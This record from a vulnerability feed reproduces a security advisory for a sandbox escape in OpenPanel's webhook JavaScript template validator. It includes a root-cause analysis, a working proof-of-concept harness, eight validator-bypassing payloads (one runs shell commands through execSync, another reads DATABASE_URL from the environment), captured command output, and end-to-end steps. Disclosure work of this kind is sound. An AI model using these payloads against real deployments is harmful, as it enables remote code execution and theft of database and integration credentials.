{"schema":"threatline.record/2","record":{"id":"GHSA-mc99-9jf5-22cq","aliases":["GHSA-mc99-9jf5-22cq"],"summary":"Webhook JavaScript template can escape the validator sandbox via an aliased Function constructor","details":"## Summary\r\n\r\nOpenPanel lets a project member attach a JavaScript template to a webhook integration (`mode: 'javascript'` + `javascriptTemplate`). The template is checked by an AST allowlist (`validate()` in `packages/js-runtime/src/validate.ts`) and then compiled with `new Function()` in the **worker process** (`packages/js-runtime/src/execute.ts`), which is the process holding the database, ClickHouse, Redis and third-party integration credentials.\r\n\r\nThe allowlist is not an isolation boundary, and a whole family of forms walks past it: a template may **read** a forbidden property (`constructor`, `__proto__`, `prototype`) as long as it does not call it as a member call and does not assign through it. `payload.constructor.constructor` is free to be copied into a local, and the local can then be called — the call is no longer a member expression, so the \"only allowlisted methods\" check never runs:\r\n\r\n```js\r\n(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }\r\n```\r\n\r\n`validate()` returns `{ valid: true }`, `execute()` compiles it, and the returned function is the real `Function` constructor evaluated in global scope — arbitrary JavaScript, hence arbitrary commands, with the worker's privileges.\r\n\r\nAffected component: `apps/worker` (notification delivery) + `packages/js-runtime`. Tested commit: `61a9245309c1efb906e2b06c5d8b6effbe30e4c2` (`main`, 2026-09-18). The JavaScript webhook-template feature landed in `286f8e16` (2026-01-23), so every version since then carries it.\r\n\r\n## Root cause\r\n\r\nThe validator's own comment states the incorrect assumption:\r\n\r\n```ts\r\n// packages/js-runtime/src/validate.ts:353-355\r\n// Block writes that reach the prototype chain: payload.__proto__.x = 1,\r\n// payload['constructor'].prototype.y = 2. Reading these is already\r\n// handled by the call and 'new' checks above.\r\n```\r\n\r\n\"Handled by the call checks\" only holds when the read and the call are the *same* AST node. Both guards are keyed on node shape, not on the value being reached:\r\n\r\n1. **Call targets** (`validate.ts:276-331`) — the block only runs when `callee.type` is `MemberExpression` / `OptionalMemberExpression`. Any other callee shape (an `Identifier` bound to a local, a `SequenceExpression` such as `(0, x)(...)`, a `CallExpression` such as `x('...')()`) is never inspected. When it *is* a member expression, only `ALLOWED_INSTANCE_METHODS` (`constants.ts:39-141`) can reject `.constructor`, and only for the final property of the callee.\r\n2. **Assignment/update targets** (`validate.ts:356-366`) — `forbiddenPropertyInChain()` rejects `__proto__` / `constructor` / `prototype`, but only on the left-hand side of an assignment or update.\r\n\r\nA **read** (`const F = payload.constructor.constructor;`) is neither, so no rule applies. Reading `.constructor` off a plain object yields `Object`; off `Object` it yields `Function`. The computed-access fix (`validate.ts:293-297`) and the re-validation added to `execute()` (`execute.ts:16-19`) do not cover it — `execute()` re-runs the same `validate()`, which accepts the template.\r\n\r\n## Steps to Reproduce\r\n\r\nNo deployment is needed to see the validator accept the template: the two files that decide everything can be bundled and run directly.\r\n\r\n1. Clone and pin the revision:\r\n\r\n```bash\r\ngit clone https://github.com/openpanel-dev/openpanel && cd openpanel\r\ngit rev-parse HEAD   # 61a9245309c1efb906e2b06c5d8b6effbe30e4c2\r\n```\r\n\r\n2. Bundle the real validator + executor (nothing stubbed):\r\n\r\n```bash\r\nmkdir -p work/src && cp packages/js-runtime/src/{validate.ts,ast-walker.ts,constants.ts,execute.ts} work/src/\r\nprintf \"export { validate } from './validate';\\nexport { execute } from './execute';\\n\" > work/src/index.ts\r\ncd work && npm init -y && npm i @babel/parser esbuild\r\nnpx esbuild src/index.ts --bundle --platform=node --format=esm --outfile=build/runtime.mjs\r\n```\r\n\r\n3. Run the harness below (`node poc.mjs work/build/runtime.mjs`). Output, verbatim:\r\n\r\n```\r\n### 1. forms the validator is supposed to refuse\r\nblocked     computed call target  -> Computed property access on a call target is not allowed. Use a literal method name, e.g. value.toUpperCase().\r\nblocked     direct member call on .constructor  -> Method '.constructor()' is not allowed. Only safe methods are permitted.\r\nblocked     new on a non-identifier callee  -> The target of 'new' must be a plain identifier. Only 'new Date()' is permitted.\r\nblocked     dynamic import()  -> Dynamic import() is not allowed\r\nblocked     __proto__ write via no-substitution template literal  -> Assigning through '__proto__' is not allowed.\r\n\r\n### 2. aliased-constructor forms (validator accepts all of them)\r\nVALID (escape) aliased read of .constructor\r\nVALID (escape) sequence-expression callee\r\nVALID (escape) aliased read off an allowed instance method\r\nVALID (escape) aliased read off an allowed global\r\nVALID (escape) aliased read via destructuring\r\nVALID (escape) aliased read off an array literal (payload-independent)\r\naccepted: 6/6\r\n\r\n### 3. execute() on the accepted template -> code runs in the host process\r\nvalidate(rce) -> {\"valid\":true}\r\nhost command output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),968(docker),982(bluetooth),999(lpadmin)\r\nmarker file: RCE_MARKER\r\n\r\n### 4. same escape with an empty payload object (no payload cooperation needed)\r\nvalidate(rce2) -> {\"valid\":true}\r\nworker env read from inside the template: (DATABASE_URL not set in this shell)\r\n\r\n### 5. control: an ordinary template still works\r\nvalidate(good) -> {\"valid\":true} | execute -> {\"event\":\"signup\",\"plan\":\"pro\"}\r\n```\r\n\r\nHarness (`poc.mjs`):\r\n\r\n```js\r\nconst { validate, execute } = await import(process.argv[2]);\r\nconst fs = await import('node:fs');\r\nconst payload = { name: 'signup', properties: { plan: 'pro' } };\r\n\r\nconst mustBeBlocked = [\r\n  ['computed call target', `(payload) => payload['constructor']['constructor']('return 1')()`],\r\n  ['direct member call on .constructor', `(payload) => payload.constructor.constructor('return 1')()`],\r\n  [\"new on a non-identifier callee\", `(payload) => new (payload.constructor.constructor)('return 1')`],\r\n  ['dynamic import()', `(payload) => import('node:fs')`],\r\n  ['__proto__ write via template literal', '(payload) => { payload[`__proto__`].x = 1; return payload; }'],\r\n];\r\n\r\nconst escapes = [\r\n  ['aliased read of .constructor', `(payload) => { const F = payload.constructor.constructor; return F('return process.version')(); }`],\r\n  ['sequence-expression callee', `(payload) => (0, payload.constructor.constructor)('return process.version')()`],\r\n  ['aliased read off an allowed instance method', `(payload) => { const F = payload.hasOwnProperty.constructor; return F('return process.version')(); }`],\r\n  ['aliased read off an allowed global', `(payload) => { const F = JSON.parse.constructor; return F('return process.version')(); }`],\r\n  ['aliased read via destructuring', `(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return process.version')(); }`],\r\n  ['aliased read off an array literal', `(payload) => { const F = [].filter.constructor; return F('return process.version')(); }`],\r\n];\r\n\r\nfor (const [name, code] of mustBeBlocked) {\r\n  const v = validate(code);\r\n  console.log(`${v.valid ? 'VALID (!!)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);\r\n}\r\nlet accepted = 0;\r\nfor (const [name, code] of escapes) {\r\n  const v = validate(code);\r\n  if (v.valid) accepted++;\r\n  console.log(`${v.valid ? 'VALID (escape)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);\r\n}\r\nconsole.log(`accepted: ${accepted}/${escapes.length}`);\r\n\r\nconst rce = `(payload) => { const F = payload.constructor.constructor; return F('return import(\"node:child_process\").then(m => m.execSync(\"id; echo RCE_MARKER > /tmp/openpanel_template_rce\").toString().trim())')(); }`;\r\nconsole.log('validate(rce) ->', JSON.stringify(validate(rce)));\r\nconsole.log('host command output:', await execute(rce, payload));\r\nconsole.log('marker file:', fs.readFileSync('/tmp/openpanel_template_rce', 'utf8').trim());\r\n```\r\n\r\n4. End-to-end on a self-hosted instance (a member with `write` on one project is enough — `packages/trpc/src/routers/integration.ts:104-107`, `WRITE_LEVELS = { write, admin }` in `packages/db/src/services/access.service.ts:9-16`):\r\n\r\n- Dashboard → project → Integrations → Webhook → **Mode: JavaScript** → paste the template into the \"JavaScript Transform\" field (`apps/start/src/components/integrations/forms/webhook-integration.tsx:238-246`) and save. Equivalent: `POST /trpc/integration.createOrUpdate` with `config = { type: 'webhook', url, headers, mode: 'javascript', javascriptTemplate }` (`zWebhookConfig`, `packages/validation/src/integrations.ts:140-147`). Save-time validation (`packages/integrations/src/registry.ts:162-169`) accepts the template.\r\n- Create a notification rule that attaches that integration (`POST /trpc/notification.createOrUpdateRule`, `packages/trpc/src/routers/notification.ts:80`; `zCreateNotificationRule`, `packages/validation/src/index.ts:457-466`), e.g. `config = { type: 'events', events: [{ name: 'signup', filters: [] }] }`.\r\n- Send one matching event through the public tracking endpoint (`POST /track`, `apps/api/src/routes/track.router.ts:16-33`).\r\n- The worker evaluates the project's rules on every ingested event (`apps/worker/src/jobs/events.incoming-event.ts:74` → `checkNotificationRulesForEvent`, `packages/db/src/services/notification.service.ts:301`), enqueues the notification (`notification.service.ts:164`), and `apps/worker/src/jobs/notification.ts:96` → `packages/integrations/src/registry.ts:175-182` → `execute()` runs the template. The shell command is a side effect of the template, so it runs regardless of the webhook request's own outcome.\r\n\r\n## Proof of concept — every accepted form\r\n\r\n1. Aliased read of `.constructor`:\r\n```js\r\n(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }\r\n```\r\n2. Sequence-expression callee (callee is not a member expression, so the method allowlist never runs):\r\n```js\r\n(payload) => (0, payload.constructor.constructor)('return 1')()\r\n```\r\n3. Read off an allowlisted instance method (`hasOwnProperty` is in `ALLOWED_INSTANCE_METHODS`; the read is not a call target):\r\n```js\r\n(payload) => { const F = payload.hasOwnProperty.constructor; return F('return 1')(); }\r\n```\r\n4. Read off an allowlisted global's method:\r\n```js\r\n(payload) => { const F = JSON.parse.constructor; return F('return 1')(); }\r\n```\r\n5. Read via destructuring (`ObjectPattern` keys are treated as property keys and skipped):\r\n```js\r\n(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return 1')(); }\r\n```\r\n6. Read off an array literal (needs no payload cooperation at all):\r\n```js\r\n(payload) => { const F = [].filter.constructor; return F('return process.version')(); }\r\n```\r\n7. Command execution (`validate() -> {\"valid\":true}`, `id` output captured, marker written):\r\n```js\r\n(payload) => { const F = payload.constructor.constructor; return F('return import(\"node:child_process\").then(m => m.execSync(\"id; echo RCE_MARKER > /tmp/openpanel_template_rce\").toString().trim())')(); }\r\n```\r\n8. Worker environment read with an empty payload (`validate() -> {\"valid\":true}`):\r\n```js\r\n(payload) => { const F = [].filter.constructor; return F('return process.env.DATABASE_URL || \"(not set)\"')(); }\r\n```\r\n\r\nNegative controls, same harness and same run: the five forms the validator is documented to refuse are all still refused, and an ordinary template (`(payload) => ({ event: payload.name })`) still validates and executes normally.\r\n\r\n## Impact\r\n\r\nA user with `write` on one project — the lowest role that can configure an integration — obtains arbitrary code execution in the worker process. From there: read/write of the platform database (all tenants' projects, events, users, and the encrypted integration credentials the worker itself decrypts), ClickHouse, Redis, object-store credentials, and outbound network access from inside the deployment. Because this is code execution in a shared process rather than a data-scoping bug, the impact applies to the whole deployment, not only the attacker's project.\r\n\r\n## Suggested fix\r\n\r\n1. **Close the read hole in the validator.** Reject any `MemberExpression` / `OptionalMemberExpression` (read or write) whose *static* property name resolves to `constructor`, `prototype` or `__proto__` — non-computed identifiers, `StringLiteral` / no-substitution `TemplateLiteral` computed keys, and `ObjectPattern` keys (`const { constructor: F } = payload`) — regardless of the parent node type. Treat any callee that is not a plain `Identifier` or a non-computed member expression as unresolvable and refuse it (`SequenceExpression`, `ConditionalExpression`, `CallExpression`, parenthesised chains, tagged templates). Keep the `ALLOWED_INSTANCE_METHODS` check, but apply it to the *resolved* method name of every member read, not only call targets.\r\n2. **Stop relying on source filtering for isolation.** Run templates in a real boundary — a `node:vm` context whose global is a curated, null-prototype sandbox (no `process`, no `require`, no `Function`), or a separate worker/`isolated-vm` with the host API passed in explicitly. AST allowlists over attacker-supplied source are a known-losing design; note that `node:vm` is itself not a security boundary for hostile code unless the code runs in a separate isolate.\r\n\r\n## Notes\r\n\r\n- Standalone issue: it is a different hole from GHSA-rqpr-2wvr-29pf / CVE-2026-93985 (computed member access on a call target, fixed by `e6339b3`), which is mentioned only for context.\r\n- Credit: Kaya Emre Arikan @kemrec\r\n","categories":["Unclassified"],"product":"ghcr.io/openpanel-dev/worker","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-mc99-9jf5-22cq","source_modified_at":"2026-10-11T19:40:57Z","fetched_at":"2026-10-27T10:24:27.527526Z","package":{"ecosystem":"other","name":"ghcr.io/openpanel-dev/worker"},"range":"main (rolling tag): every image build from 286f8e16 (2026-01-23) through 61a92453 (2026-09-18)"}],"fixed_versions":[],"cvss":9.9,"severity":"Critical","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-11T19:40:57Z","modified_at":"2026-10-11T19:40:57Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-mc99-9jf5-22cq","fetched_at":"2026-10-27T10:24:27.527526Z","source_modified_at":"2026-10-11T19:40:57Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-11T19:40:57Z","content_hash":"e533b1dc946d716fe3cd1ab0624417fcdde959790c6b979ba2071a8b0c1e4645"}}
